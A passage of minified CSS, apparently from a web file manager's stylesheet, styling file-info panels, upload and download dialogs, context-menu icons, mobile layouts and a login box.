5px;width:140px;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info-chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file-md5-loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.pathinfo .download-url{margin-right:0;border-radius:3px 0 0 3px;}.file-drag-upload .aui-content{overflow-y:scroll;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.movie-player-dialog{overflow:hidden;}.flash-player{width:100%;height:100%;}.wmp-player{width:0%;height:0%;}.movie-player-dialog .aui-content{background:#000;}.dialog-path-remove .aui-content{word-wrap:break-word;width:auto;}.server-dwonload-textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server-dwonload-textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.file-upload-box{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file-upload-box .topbar-nav{border-bottom:1px solid #ddd;margin-top:6px;}.file-upload-box .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file-upload-box .menu.this{background:#fff;border-bottom:1px solid #fff;}.file-upload-box .menu:hover{background:#fff;}.file-upload-box .upload-box{margin-top:10px;}.file-upload-box .download-btn-group{margin-left:-10px;margin-top:-3px;margin-top:-4px \9;}.file-upload-box .download-btn-group .download-start{border-radius:0px;}.file-upload-box .upload-box-tips .btn.btn-default{border-radius:3px;color:#555;}.file-upload-box .upload-box-tips .btn-group>.btn:last-child:not(:first-child),.file-upload-box .upload-box-tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file-upload-box div a.left{margin-left:10px;}.file-upload-box div a.right{position:absolute;right:5px;}.file-upload-box span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file-upload-box i{font-size:1em;color:#aaa;padding-left:10px;}.file-upload-box .list{margin:10px 15px 10px 0;}.file-upload-box .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file-upload-box .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file-upload-box .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file-upload-box .submit input:hover{background:#bbb;}.file-upload-box .submit input:active{background:#444;color:#fff;}.file-upload-box .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file-upload-box #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file-upload-box .webuploader-container{position:relative;}.file-upload-box .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file-upload-box .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file-upload-box .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .upload-cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file-upload-box .upload-cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file-upload-box .upload-cert-box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file-upload-box .upload-cert-box .dropdown-menu:before{right:inherit;left:10px;}.file-upload-box .upload-cert-box .dropdown-menu:after{right:inherit;left:11px;}.file-upload-box .upload-cert-box.open.upload-cert,.file-upload-box .upload-cert-box .upload-cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file-upload-box .btns{margin-bottom:10px;font-size:1em;height:28px;}.file-upload-box .btns .tips{float:right;line-height:30px;}.file-upload-box .btns #picker{float:left;}.file-upload-box .upload-box-tips{line-height:34px;color:#888;position:absolute;right:10px;}.file-upload-box .upload-box-config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file-upload-box .upload-box-config .upload-check-box{margin-left:10px;}.file-upload-box .upload-box-config label{margin-left:15px;}.file-upload-box .upload-box-config label input{margin-right:5px;}.file-upload-box .uploader-list .item,.file-upload-box .download-list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file-upload-box .uploader-list .item .info,.file-upload-box .download-list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file-upload-box .uploader-list .item .info span,.file-upload-box .uploader-list .item .info a,.file-upload-box .download-list .item .info span,.file-upload-box .download-list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file-upload-box .uploader-list .item .info .title,.file-upload-box .download-list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file-upload-box .uploader-list .item .info .size,.file-upload-box .download-list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file-upload-box .uploader-list .item .info .state,.file-upload-box .download-list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file-upload-box .uploader-list .item .info .font-icon,.file-upload-box .download-list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file-upload-box .uploader-list .item .info .font-icon:hover,.file-upload-box .download-list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file-upload-box .uploader-list .item .info .icon-ok,.file-upload-box .download-list .item .info .icon-ok{color:#40AA53;}.file-upload-box .uploader-list .item .info .error,.file-upload-box .download-list .item .info .error{color:#f30;}.file-upload-box .uploader-list .item.success,.file-upload-box .download-list .item.success{background:#eaf8ff;}.file-upload-box .uploader-list .item.error,.file-upload-box .download-list .item.error{background:#ffe8e6;}.file-upload-box .uploader-list .item .progress,.file-upload-box .download-list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file-upload-box .uploader-list .item .progress-bar,.file-upload-box .download-list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file-upload-box .uploader-list .success:hover,.file-upload-box .download-list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system-content .right-frame .user-list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do-search-box .search-header .btn-right{ margin:0px 0 0 -2px;height:25px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group-editor .tag input{ position:relative;top:-5px;} div.pathinfo .download-url{ height:30px;} div.file-list-icon .file .filename{ padding-top:0px;line-height:1.3em;} div.topbar .content .title.topbar-menu{ width:200px;} div.share-dialog .aui-border{ overflow:auto;} div.share-dialog .content-box .content-info .input-line.select-path a.select-btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}@media (max-width:743px){html #body .app-menu-left, html body .app-menu-left{ width:50px;min-width:50px;} html #body .app-menu-left .search{ opacity:0.001;} html #body .menu-left .setting a.selected, html body .menu-left .setting a.selected{ padding-left:0px;margin-left:-5px;} html #body .main.app-content, html body .main.app-content{ left:50px;} html #body .main.app-content .app-list, html body .main.app-content .app-list{ justify-content:space-around;} html .form-box .form-row .setting-title{ text-align:left;} html .form-box .form-row.form-userSelect .setting-content{ padding:10px 5%;} html .form-box .form-row .setting-content{ width:90%;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{ width:100%;height:40px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{ left:0px;top:80px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{ float:left;} html #body.plugin-page .app-menu-left .line, html body.plugin-page .app-menu-left .line{ padding:4px 0;} html body #body .menu-left, html body #body .app-menu-left{ width:50px;min-width:50px;} html body #body .menu-left h1, html body #body .app-menu-left h1{ font-size:14px;font-weight:800 !important;padding:10px 0px 10px 0px;text-align:center;} html body #body .menu-left .font-icon, html body #body .app-menu-left .font-icon{ padding-right:30px;} html #body .setting-tools-right, html body .setting-tools-right{ top:0;} html #body .main .nav a, html body .main .nav a{ padding:5px 10px;} html #body .main .nav, html body .main .nav{ margin-right:0px;} html #body .setting-tab, html body .setting-tab, html #body .system-content, html body .system-content{ margin-right:10px;} html #body .main, html body .main{ left:50px;width:auto;margin-right:10px;} html .form-box .form-row .desc, html .form-box .form-row .setting-content i{ display:block;} html #body .setting-tab .form-row, html body .setting-tab .form-row, html #body .system-content .form-row, html body .system-content .form-row{ background:#fafafa;border-radius:4px;padding:0 5px;} html .form-box .form-row .setting-title{ height:20px;line-height:20px;} html .form-box .form-row{ padding:0;} html .form-box .form-row input[type='text'], html .form-box .form-row input[type='password'], html .form-box .form-row input[type='number']{ width:180px;} html .form-box .form-row #wallpage-url{ width:150px !important;} html #body .main .section .content .box p, html body .main .section .content .box p{ text-indent:10px;} html #body .system-content.setting-member{ width:800px;} html body.setting-page .select-user-group .right-content, html body.setting-page .select-user-group .left-content{ width:170px;} html .topbar .content .top-right ul.dropdown-menu.topbar-language{ width:235px;max-height:800px;} html #body .main .section .box, html body .main .section .box{ margin-right:10px;} html #body .main .section .box .list, html body .main .section .box .list{ width:95px;height:95px;} html #body .main .section .box .list .ico, html body .main .section .box .list .ico{ width:75px;height:60px;} html #body .panel, html body .panel{ margin-right:0px;} html #body .main.app-content .app-list .app-li, html body .main.app-content .app-list .app-li{ margin:0 5px 20px 0;width:130px;} html #body .main.app-content .app-model, html body .main.app-content .app-model{ padding:10px;} html #body .menu-left .setting a, html body .menu-left .setting a{ text-indent:6px;} html .file-list-list .file .filename, html #main-title .filename, html .file-list-list .file .filetime, html #main-title .filetime{ width:100px;} html .file-list-list .file .filetype, html #main-title .filetype, html .file-list-list .file .filesize, html #main-title .filesize{ width:30px;} html .desktop .file-list-icon{ width:92%;} html .topbar .content .btn-wap-menu{ display:block !important;visibility:visible !important;position:absolute;text-align:center;z-index:100;color:#bbb;left:0;top:0;padding:0;background:rgba(0,0,0,0.05);width:45px;height:38px;line-height:40px;} html .topbar .content .btn-wap-menu i.font-icon{ padding-right:0;} html .topbar .content .top-left.collapse{ display:none;} html .topbar .content .top-left{ width:170px;height:auto;background:#fff;color:#666;position:absolute;left:45px;z-index:100;border:1px solid rgba(0,0,0,0.1);box-shadow:0 4px 30px rgba(0,0,0,0.15);} html .topbar .content .top-left .topbar-menu.title{ display:none;} html .topbar .content .top-left .topbar-menu{ float:none;border:none;} html .topbar .content .top-left .menu-group{ display:block;width:100%;height:auto;} html .topbar .content .top-left .menu-group a.topbar-menu{ display:none;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu{ display:block;position:static;border-top:2px solid #ddd;box-shadow:none;border:none;width:100%;padding:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li{ height:auto;width:100%;margin:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a{ text-align:left;padding:0px 1.2em;border-radius:0;height:40px;line-height:40px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a i, html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a img{ font-size:13px;width:25px;height:20px;line-height:20px;display:inline-block;background-color:transparent;color:#666;position:relative;top:-16px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a span{ display:inline-block;padding-top:0;} html .frame-main .bottom-box .cell{ width:80%;margin-top:5px;} html .frame-main .bottom-box .cell i{ display:inline-block;font-size:18px;} html .topbar.share-page-topbar .top-left{ position:static;} html .topbar.share-page-topbar .content .top-left .share-info{ position:absolute;left:0;top:0;z-index:999;} html .topbar.share-page-topbar .content .top-left .share-info .size, html .topbar.share-page-topbar .content .top-left .share-info .time{ display:none;} html .topbar.share-page-topbar .content .top-left .share-info .share-title-info{ background:#fff;font-size:13px;color:#444;} html .topbar.share-page-topbar .top-right .share-info-user .info{ display:none;} html .topbar.share-page-topbar .top-right .btn-download{ padding:4px 6px !important;} html .share-page-main .content-box.show-code{ width:100%;height:100%;border:none;top:0px;left:0;padding:0;margin:0;} html body#page-desktop .topbar .content .btn-wap-menu{ color:#fff;} html body#page-desktop .topbar .content .top-left{ background:rgba(0,0,0,0.7);}}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list.menu-auto-fit{top:5px !important;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 15px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:16px;text-align:center;font-size:1.2em;color:#aaa;margin-right:15px;vertical-align:middle;margin-top:-2px;padding:0;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;pointer-events:auto;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line-top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-tree-self{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-tree-self:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-tree-fav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.x-tree-fav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open-the-path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open-the-path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute-to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute-to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy-to .font-icon,.context-menu-list .context-menu-item.copy-see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy-to .font-icon:before,.context-menu-list .context-menu-item.copy-see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.past .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.past .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.remove .font-icon,.context-menu-list .context-menu-item.fav-remove .font-icon,.context-menu-list .context-menu-item .close .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.remove .font-icon:before,.context-menu-list .context-menu-item.fav-remove .font-icon:before,.context-menu-list .context-menu-item .close .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.zip .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.zip .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.unzip .icon-folder-open-alt:before{content:"" !important;}.context-menu-list .context-menu-item.share .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-15px -703px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.share .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open-text .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -702px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open-text .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.setBackground .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -609px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.setBackground .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.fav .font-icon,.context-menu-list .context-menu-item.fav-page .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.fav .font-icon:before,.context-menu-list .context-menu-item.fav-page .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -577px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.set-file-icon-size .font-icon.icon-picture:before,.context-menu-list .context-menu-item.setting-wall .font-icon.icon-picture:before{content:"" !important;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -528px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.sort-by .font-icon.icon-sort:before{content:"" !important;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:1px -625px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.list-icon .font-icon.icon-eye-open:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-all > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0px -545px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-all > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-clear > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -546px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-clear > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -593px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.file-select-reverse > .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-code-fork{display:inline-block;background-image:url("../../../images/file_icon/icon_app/history.png");width:16px !important;background-repeat:no-repeat;background-size:100% 100%;}.context-menu-list .context-menu-item .font-icon.icon-code-fork:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:15px;box-shadow:0 0 0 1px #6db9f5;}.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.bindary-box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary-box .title{width:100%;height:150px;padding-top:20px;border-radius:5px 4px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary-box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary-box .ico 